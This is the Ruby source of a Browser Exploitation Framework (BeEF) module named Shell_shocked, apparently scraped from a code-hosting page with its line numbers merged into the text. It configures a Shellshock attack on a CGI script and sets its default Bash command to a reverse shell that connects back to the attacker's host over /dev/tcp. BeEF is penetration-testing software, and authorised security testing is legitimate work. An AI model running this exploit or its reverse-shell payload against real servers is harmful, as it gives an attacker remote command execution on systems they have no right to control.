Path: blob/master/modules/exploits/shell_shocked/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Shell_shocked < BeEF::Core::Command6def self.options7configuration = BeEF::Core::Configuration.instance8lhost = configuration.beef_host9lhost = 'LHOST' if lhost == '0.0.0.0'10payload = "/bin/bash -i >& /dev/tcp/#{lhost}/LPORT 0>&1"1112[13{ 'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi' },14{ 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'GET' },15{ 'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => payload }16]17end1819def post_execute20save({ 'result' => @datastore['result'] })21end22end232425